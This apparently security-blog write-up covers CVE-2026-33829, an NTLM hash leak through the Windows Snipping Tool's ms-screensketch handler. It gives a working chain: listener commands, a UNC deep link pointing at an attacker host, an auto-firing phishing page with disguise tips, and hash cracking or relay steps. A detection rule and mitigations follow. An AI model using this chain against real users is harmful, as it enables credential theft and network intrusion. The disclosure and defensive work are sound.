Another month, another Windows protocol-handler hole that walks Net-NTLMv2 hashes off the box. CVE-2026-33829, disclosed by BlackArrow on April 14, lives in the Snipping Tool's ms-screensketch URI handler. Click a link, the handler opens an attacker-controlled UNC path, and the SMB client authenticates with the logged-on user's NTLM credentials before anyone has had time to read the URL.
Microsoft shipped a fix in the April 14, 2026 cumulative update. This post is the technical shape of the bug and a clean-room PoC you can run against your own listener in a lab.
Why URI handler bugs keep producing NTLM leaks
Two Windows behaviours collide here:
- AppX manifests can register protocol handlers. Any modern Microsoft Store app declares a URI scheme via
<uap:Extension Category="windows.protocol">. The OS routesscheme:...URLs from the browser, Office, Outlook, anywhere a clickable URL is honoured, into the registered app. - The Windows SMB client speaks NTLM by default. Hand it a UNC path (
\\server\share\file) and it opens an SMB session, negotiates auth, and replies with a Net-NTLMv2 response derived from the current user's password hash. No prompt. No consent.
If a privileged process accepts a URL parameter and forwards the value into anything that resolves UNC paths (CreateFileW, ShellExecute, Image.FromFile, WIC, the list is long), and the parameter is not validated against UNC, you have an NTLM coercion. That is the entire bug class. The Snipping Tool is just this month's instance.
The handler
The Snipping Tool's AppX manifest registers ms-screensketch:
<Extensions>
<uap:Extension Category="windows.protocol">
<uap:Protocol Name="ms-screensketch" DesiredView="default"/>
</uap:Extension>
...
</Extensions>The edit verb takes a filePath parameter naming the image to open. On the vulnerable build, that parameter is forwarded to the file open path without rejecting UNC. A \\host\share\file.png value is treated as a normal file location; the SMB client resolves it and authenticates.
That is the whole vulnerable contract:
ms-screensketch:edit?&filePath=<UNC-path>&isTemporary=false&saved=true&source=Toast
No exploit primitive beyond "supply a path." The leak is the side effect of the SMB client doing what it always does when handed UNC.
Reproducing it
Three pieces: a listener that captures the NTLM response, a deep-link URL pointing the handler at the listener, and an HTML page that fires the deep link from a browser click (so the chain works end to end as it would in a phish).
1. The listener
impacket-smbserver is the simplest option for a lab. Responder is the field-realistic one. Both capture the Net-NTLMv2 response without any further plumbing.
# Option A: impacket. Anonymous share, logs auth attempts.
impacket-smbserver loot ./loot -smb2support
# Option B: responder. Picks up the NTLM exchange and writes
# Hashcat-format hashes to /usr/share/responder/logs/.
sudo responder -I eth0 -wvBind on whatever interface the victim can reach. For a real engagement that means an internet-facing host with 445/tcp open; many ISPs and corporate egress filter outbound 445, so confirm reachability before blaming the PoC.
2. The deep link
The link itself is a one-liner. Pointing at the listener:
ms-screensketch:edit?&filePath=\\listener.fuzz.lab\loot\image.png&isTemporary=false&saved=true&source=Toast
Parameters beyond filePath are cosmetic for the leak; the handler accepts the URL with or without isTemporary, saved, and source. Keeping them matches the shape Toast notifications produce, which avoids any heuristic that flags malformed deep links.
Pasting that string into Edge or Chrome's address bar and pressing enter is enough to fire the handler. The browser shows a "Open Snipping Tool?" consent prompt the first time per origin; on accept (or if previously remembered), the handler launches and the SMB request is on the wire before the app window finishes drawing.
3. The auto-trigger page
For a phish, the user clicks an apparently normal link. Hosting an HTML page that resembles a direct image URL and firing the deep link from the page works in every Chromium browser:
<!doctype html>
<meta charset="utf-8">
<title>Corporate wallpaper preview</title>
<style>
body { background: #0b0d10; color: #e6edf3; font: 14px/1.4 system-ui; padding: 2rem; }
.card { max-width: 640px; margin: 4rem auto; }
</style>
<div class="card">
<h1>Wallpaper preview</h1>
<p>Opening in the Snipping Tool so you can crop before saving.</p>
<p><a id="go" href="ms-screensketch:edit?&filePath=\\listener.fuzz.lab\loot\image.png&isTemporary=false&saved=true&source=Toast">Open</a></p>
</div>
<script>
// Auto-trigger on load. Most browsers honour this if the user
// previously approved the scheme; otherwise it falls back to
// the visible link click.
window.addEventListener('load', () => {
document.getElementById('go').click();
});
</script>Hosting that at https://snip.example.com/wallpaper/image.html (note the .html is invisible if the URL displayed to the user reads …/wallpaper/image.png after a redirect) gives a high-credibility pretext. The user sees the Snipping Tool open, consistent with the "preview an image" cover; the SMB authentication has already happened.
What you get
A successful run drops a Net-NTLMv2 line in the listener's log:
[SMB] NTLMv2-SSP Client : 10.10.20.41
[SMB] NTLMv2-SSP Username : FUZZLAB\valling
[SMB] NTLMv2-SSP Hash : valling::FUZZLAB:1122334455667788:
A1B2C3...:0101000000000000...That hash is offline-crackable with Hashcat mode 5600 against your wordlist of choice, or relayable with ntlmrelayx against any service in the environment that does not enforce SMB signing or EPA. The relay path is the one that matters for impact: cracking takes time, relaying takes seconds and lands the attacker as the victim on whatever target accepts the relayed session.
Run this against your own infrastructure with explicit authorisation. NTLM coercion plus relay is a credential theft chain; testing it outside an engagement scope is the kind of mistake that ends careers.
Detection
Three signals, in order of fidelity.
Outbound SMB to non-corporate destinations. The single highest-fidelity catch. Almost no legitimate workflow on a workstation initiates 445/tcp to an address outside the file-server estate. Egress filtering at the perimeter is the prevention; alerting on attempts is the detection. If you do not block outbound 445 at the firewall, this CVE is one of dozens of reasons to start.
Snipping Tool spawning with a UNC filePath. Process-creation telemetry on SnippingTool.exe (or ScreenSketch.exe on older builds) with a command line containing \\ is rare in normal use. Sysmon Event 1 plus a command-line filter covers it.
title: Snipping Tool launched with UNC filePath
id: 4f1a8b6c-2e9d-4c5a-b1f2-9c8e3d7a0b14
status: experimental
description: |
Detects the Snipping Tool launching with a UNC path in its
command line. Indicative of CVE-2026-33829 exploitation
(NTLM coercion via the ms-screensketch URI handler).
references:
- https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829
author: 0xFuzz
date: 2026/04/17
logsource:
product: windows
category: process_creation
detection:
selection_image:
Image|endswith:
- '\SnippingTool.exe'
- '\ScreenSketch.exe'
selection_cmdline:
CommandLine|contains: '\\\\'
condition: selection_image and selection_cmdline
falsepositives:
- Users editing screenshots stored on a configured file share (allowlist by share path)
level: highBrowser-launched protocol handlers. Edge and Chrome write telemetry when a custom scheme fires. Pairing "browser launches ms-screensketch: URL" with "Snipping Tool opens within N seconds" is the cleanest behavioural signature, but it requires both browser and process-creation feeds in the same pipeline. Worth building if you have it.
Mitigation
In priority order:
- Patch. April 14, 2026 cumulative update fixes the input validation. The issue is closed at the source for systems on current builds.
- Block outbound 445/tcp at the perimeter. Defence in depth that pays for itself across this CVE and every other NTLM coercion (PrinterBug, PetitPotam, the long tail of URI handler bugs of which this is one).
- Enforce SMB signing and Extended Protection for Authentication on internal services. Removes the relay path even if a hash leaks.
- Disable NTLM where you can. Long-term work, but every coerced hash that lands somewhere that refuses NTLM is a hash that does nothing.
IOCs
References
- BlackArrow Security, CVE-2026-33829 PoC repository. PoC, advisory, disclosure timeline.
- Microsoft Security Response Center, CVE-2026-33829.